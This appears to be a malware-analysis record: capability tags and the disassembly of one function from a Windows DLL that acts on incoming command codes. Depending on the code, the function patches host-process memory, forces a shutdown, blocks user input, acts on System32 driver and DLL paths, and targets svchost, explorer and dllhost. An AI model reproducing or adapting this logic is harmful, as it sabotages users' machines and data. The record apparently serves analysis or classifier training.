Function at 0x1000ca70
Capabilities:
Allocate or change rwx memory
Execute command
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x31c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x318], eax
push ebx
mov ebx, dword [ebp + 8]
mov eax, 0x667
push esi
push edi
cmp word [ebx + 4], ax
jne 0x1000cad6
push 0x1770
push 0
push 0x10024940
call sub.MSVCR120.dll_memset
add esp, 0xc
lea ecx, [ebx + 0xc]
push 0x1770
push ecx
push 0x10024940
call sub.MSVCR120.dll_memcpy
mov ecx, dword [ebx + 0x177c]
add esp, 0xc
mov dword [0x10024938], ecx
jmp 0x1000cd68
mov ecx, 0x1000
mov eax, 0x10027590
mov byte [eax], 0
lea eax, [eax + 1]
dec ecx
jne 0x1000cae0
movsx eax, word [ebx]
push eax
push ebx
push 0x1000
push 0x10027590
call dword [sym.imp.MSVCR120.dll_memcpy_s]
movzx ecx, word [ebx + 4]
mov esi, 0x182
movzx edx, word [0x1002493c]
add esp, 0x10
cmp cx, si
mov eax, ecx
mov esi, 0xd1d
cmovne edx, eax
mov word [0x1002493c], dx
cmp cx, si
jne 0x1000cb75
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 0x30c]
push eax
push 0x40
push 4
push 0x49b50a
mov dword [esp + 0x31c], 0x40
call esi
lea eax, [esp + 0x30c]
mov dword [0x49b50b], 0xffffaaaa
push eax
push dword [esp + 0x310]
push 4
push 0x49b50a
call esi
jmp 0x1000cd68
mov eax, 0x5000
cmp cx, ax
jne 0x1000cb87
mov ecx, dword [ebx + 0x6c]
jmp 0x1000cd60
mov eax, 0xd1e
cmp cx, ax
jne 0x1000cbea
mov word [ebx + 4], si
mov edi, dword [0x100275f8]
test edi, edi
je 0x1000cd68
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 0x308]
push eax
push 0x40
push 4
push 0x4a571c
mov dword [esp + 0x318], 0x40
call esi
lea eax, [esp + 0x308]
mov dword [0x4a571c], edi
push eax
push dword [esp + 0x30c]
push 4
push 0x4a571c
call esi
jmp 0x1000cd68
mov eax, 0x666
cmp cx, ax
jne 0x1000cc35
movdqu xmm0, xmmword [ebx + 0x10]
movdqu xmmword [0x100248fc], xmm0
movdqu xmm0, xmmword [ebx + 0x20]
movdqu xmmword [0x1002490c], xmm0
movdqu xmm0, xmmword [ebx + 0x30]
movdqu xmmword [0x1002491c], xmm0
movq xmm0, qword [ebx + 0x40]
movq qword [0x1002492c], xmm0
mov eax, dword [ebx + 0x48]
mov dword [0x10024934], eax
jmp 0x1000cd68
mov eax, 0xafa
cmp cx, ax
jne 0x1000ccdb
movzx eax, word [ebx + 0xc]
cmp ax, 1
jne 0x1000cc55
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edi, dword [sym.imp.MSVCR120.dll_system]
cmp ax, 2
jne 0x1000cc6b
push str.shutdown__s__t_5
call edi
add esp, 4
mov esi, dword [sym.imp.USER32.dll_BlockInput]
push 1
call esi
cmp word [ebx + 0xc], 3
jne 0x1000cc80
push 1
call esi
sub esp, 0x18
mov ecx, esp
push str.C:WindowsSystem32drivers
call fcn.100021c0
call fcn.1000ca40
mov ecx, esp
push str.C:WindowsSystem32_d.dll
call fcn.100021c0
call fcn.1000ca40
add esp, 0x18
mov ecx, str.svchost.exe
call fcn.1000c970
mov ecx, str.explorer.exe
call fcn.1000c970
mov ecx, str.dllhost.exe
call fcn.1000c970
push 1
call esi
push str.shutdown__s__t_5
call edi
mov dx, word [0x1002493c]
add esp, 4
mov eax, 0x182
cmp word [ebx + 4], ax
jne 0x1000cd52
mov eax, 0x338
cmp dx, ax
jne 0x1000cd68
movdqa xmm0, xmmword [0x10012770]
movdqu xmmword [esp + 0x310], xmm0
mov dword [esp + 0x320], 0x1019
mov eax, dword ds:[0x13fa9d4]
add eax, 0x6ec
mov esi, eax
lea edi, [esp + 0x10]
mov ecx, 0xbd
mov eax, 0x190
rep movsd dword es:[edi], dword [esi]
cmp word [esp + 0x50], ax
jae 0x1000cd52
movzx edx, word [ebx + 0x10]
lea ecx, [esp + 0x310]
jmp 0x1000cd40
cmp edx, dword [ecx]
je 0x1000cd81
add ecx, 4
lea eax, [esp + 0x324]
cmp ecx, eax
jne 0x1000cd40
mov eax, 0xaf1
cmp word [ebx + 4], ax
jne 0x1000cd68
mov ecx, dword [ebx + 0x68]
lea edx, [ebx + 0xc]
call fcn.100071a0
mov ecx, dword [esp + 0x324]
mov eax, ebx
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1000dd30
mov esp, ebp
pop ebp
ret 8
movzx ecx, word [ebx + 0xe]
call fcn.100070b0
jmp 0x1000cd68